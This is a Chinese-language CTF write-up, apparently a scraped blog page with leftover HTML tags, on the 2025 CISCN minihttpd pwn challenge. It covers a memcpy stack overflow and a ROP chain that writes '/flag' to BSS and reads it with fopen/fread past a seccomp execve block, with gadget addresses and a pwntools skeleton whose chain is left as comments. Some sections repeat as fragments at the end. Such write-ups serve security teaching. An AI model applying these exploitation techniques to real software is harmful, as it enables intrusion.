2025 CISCN暨长城杯初赛PWN题minihttpd漏洞分析与利用教学<\/h1>

题目概述<\/h2>
本题是一个名为`minihttpd<\/code>的二进制PWN题目，来自2025年CISCN（全国大学生信息安全竞赛）暨长城杯初赛。题目运行在沙盒环境中，禁用了execve<\/code>系统调用，需要通过ROP技术实现漏洞利用。<\/p>`

漏洞分析<\/h2>
1. 主要漏洞点<\/h3>
通过IDA分析main函数，发现程序存在以下关键函数调用链：<\/p>

main<\/code>函数中调用注册路由函数<\/li>
跟进setmode<\/code>函数发现存在栈溢出漏洞<\/li>
<\/ul>
2. 漏洞细节<\/h3>
在setmode<\/code>函数中存在以下关键代码：<\/p>
memcpy(dest, src, size); \/\/ 存在栈溢出
<\/span><\/span><\/span><\/code><\/pre>通过精心构造的数据，可以覆盖栈上的指针和返回地址，实现控制流劫持。<\/p>
3. 沙盒限制<\/h3>
程序开启了沙盒保护，禁用了execve<\/code>系统调用，这意味着不能直接获取shell，需要通过文件操作读取flag。<\/p>
利用思路<\/h2>
1. 利用准备<\/h3>
程序提供了以下关键gadget：<\/p>
add<\/span> dword<\/span> ptr<\/span> [rbp<\/span> - 0x3d<\/span>], ebx<\/span> ; nop ; ret
<\/span><\/span><\/span><\/code><\/pre>这是一个magic gadget，可以用于修改内存中的值。<\/p>
2. 利用步骤<\/h3>
第一步：构造字符串<\/h4>
通过多次调用csu gadget配合magic gadget，将字符串\/flag<\/code>、文件模式"r"<\/code>和文件描述符4<\/code>写入BSS段。<\/p>
技术要点<\/strong>：<\/p>

每次最多写入4字节<\/li>
需要4次csu+magic_gadget组合调用<\/li>
精确控制内存写入位置<\/li>
<\/ul>
第二步：文件操作<\/h4>


构造fopen<\/code>调用参数：<\/p>

RDI指向"\/flag"<\/code>字符串<\/li>
RSI指向"r"<\/code>模式字符串<\/li>
<\/ul>
<\/li>

返回到getmode<\/code>函数中的fread<\/code>调用，将flag内容读取到BSS段<\/p>
<\/li>
<\/ol>
第三步：输出flag<\/h4>

控制程序执行到send<\/code>函数<\/li>
需要设置RDI=4（文件描述符）<\/li>
通过控制RBP，跳转到预先写入的值为4的位置<\/li>
输出flag内容<\/li>
<\/ol>
调试方法<\/h2>
GDB调试设置<\/h3>
# 终端1：启动GDB调试<\/span>
<\/span><\/span>gdb .\/main
<\/span><\/span>set follow-fork-mode child
<\/span><\/span>target remote :9999
<\/span><\/span>
<\/span><\/span># 在setmode函数设置断点<\/span>
<\/span><\/span>b *0x402A40
<\/span><\/span>r
<\/span><\/span>
<\/span><\/span># 终端2：运行漏洞利用脚本<\/span>
<\/span><\/span>python exp.py
<\/span><\/span><\/code><\/pre>漏洞利用代码框架<\/h2>
from<\/span> pwn import<\/span> *<\/span>
<\/span><\/span>
<\/span><\/span>context.<\/span>arch =<\/span> 'amd64'<\/span>
<\/span><\/span>context.<\/span>log_level =<\/span> 'debug'<\/span>
<\/span><\/span>
<\/span><\/span># 连接设置<\/span>
<\/span><\/span>p =<\/span> remote('127.0.0.1'<\/span>, 9999<\/span>)
<\/span><\/span>
<\/span><\/span># Gadget地址<\/span>
<\/span><\/span>magic_gadget =<\/span> 0x4011A6<\/span>  # add dword ptr [rbp - 0x3d], ebx ; nop ; ret<\/span>
<\/span><\/span>csu_init1 =<\/span> 0x401AFA<\/span>     # csu初始化gadget<\/span>
<\/span><\/span>csu_init2 =<\/span> 0x401AE0<\/span>     # csu调用gadget<\/span>
<\/span><\/span>fopen_plt =<\/span> 0x401080<\/span>     # fopen PLT地址<\/span>
<\/span><\/span>getmode_addr =<\/span> 0x402A80<\/span>  # getmode函数地址<\/span>
<\/span><\/span>
<\/span><\/span># 构造ROP链<\/span>
<\/span><\/span>def<\/span> build_rop<\/span>():
<\/span><\/span>    rop =<\/span> b<\/span>""<\/span>
<\/span><\/span>    
<\/span><\/span>    # 第一步：写入"\/flag"字符串<\/span>
<\/span><\/span>    # 使用csu控制rbx, rbp, r12, r13, r14, r15<\/span>
<\/span><\/span>    # 配合magic_gadget修改内存<\/span>
<\/span><\/span>    
<\/span><\/span>    # 第二步：设置fopen参数<\/span>
<\/span><\/span>    # 控制rdi指向"\/flag"，rsi指向"r"<\/span>
<\/span><\/span>    
<\/span><\/span>    # 第三步：调用fopen<\/span>
<\/span><\/span>    
<\/span><\/span>    # 第四步：返回到getmode执行fread<\/span>
<\/span><\/span>    
<\/span><\/span>    # 第五步：设置send参数并输出<\/span>
<\/span><\/span>    return<\/span> rop
<\/span><\/span>
<\/span><\/span># 构造完整payload<\/span>
<\/span><\/span>payload =<\/span> b<\/span>"A"<\/span> *<\/span> offset  # 填充到返回地址<\/span>
<\/span><\/span>payload +=<\/span> build_rop()
<\/span><\/span>
<\/span><\/span>p.<\/span>send(payload)
<\/span><\/span>p.<\/span>interactive()
<\/span><\/span><\/code><\/pre>关键技术点<\/h2>
1. csu gadget利用<\/h3>
# csu初始化gadget
<\/span><\/span><\/span><\/span>pop<\/span> rbx<\/span>; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
<\/span><\/span><\/span><\/span>
<\/span><\/span># csu调用gadget  
<\/span><\/span><\/span><\/span>mov<\/span> rdx<\/span>, r15<\/span>; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
<\/span><\/span><\/span><\/code><\/pre>2. 内存布局控制<\/h3>

精确计算BSS段可写地址<\/li>
控制数据写入位置避免冲突<\/li>
确保字符串格式正确<\/li>
<\/ul>
3. 参数传递控制<\/h3>

通过ROP链设置函数参数<\/li>
确保寄存器状态正确<\/li>
处理函数调用后的栈平衡<\/li>
<\/ul>
难点与解决方案<\/h2>
难点1：沙盒绕过<\/h3>
解决方案<\/strong>：通过文件操作而非execve获取flag，使用fopen\/fread组合。<\/p>
难点2：多次内存写入<\/h3>
解决方案<\/strong>：使用csu gadget循环控制，配合magic gadget进行精确内存修改。<\/p>
难点3：函数参数控制<\/h3>
解决方案<\/strong>：精心构造ROP链，确保每个函数调用前参数寄存器正确设置。<\/p>
总结<\/h2>
本题考察了在沙盒环境下的ROP利用技术，重点在于：<\/p>

栈溢出漏洞的识别和利用<\/li>
csu gadget的高级用法<\/li>
沙盒环境下的利用思路<\/li>
文件操作替代execve的技巧<\/li>
<\/ol>
通过本题可以深入学习现代PWN题中常见的保护机制和绕过技术，为后续更复杂的二进制漏洞利用打下坚实基础。<\/p>

2025 CISCN暨长城杯初赛PWN题minihttpd漏洞分析与利用教学<\/h1>

题目概述<\/h2> 本题是一个名为minihttpd<\/code>的二进制PWN题目，来自2025年CISCN（全国大学生信息安全竞赛）暨长城杯初赛。题目运行在沙盒环境中，禁用了execve<\/code>系统调用，需要通过ROP技术实现漏洞利用。<\/p>

3. 沙盒限制<\/h3> 程序开启了沙盒保护，禁用了execve<\/code>系统调用，这意味着不能直接获取shell，需要通过文件操作读取flag。<\/p>

2. 利用步骤<\/h3>

调试方法<\/h2>

关键技术点<\/h2>

难点与解决方案<\/h2>

难点1：沙盒绕过<\/h3> 解决方案<\/strong>：通过文件操作而非execve获取flag，使用fopen\/fread组合。<\/p>

题目概述<\/h2>
本题是一个名为`minihttpd<\/code>的二进制PWN题目，来自2025年CISCN（全国大学生信息安全竞赛）暨长城杯初赛。题目运行在沙盒环境中，禁用了execve<\/code>系统调用，需要通过ROP技术实现漏洞利用。<\/p>`

3. 沙盒限制<\/h3>
程序开启了沙盒保护，禁用了`execve<\/code>系统调用，这意味着不能直接获取shell，需要通过文件操作读取flag。<\/p>`

难点1：沙盒绕过<\/h3>
解决方案<\/strong>：通过文件操作而非execve获取flag，使用fopen\/fread组合。<\/p>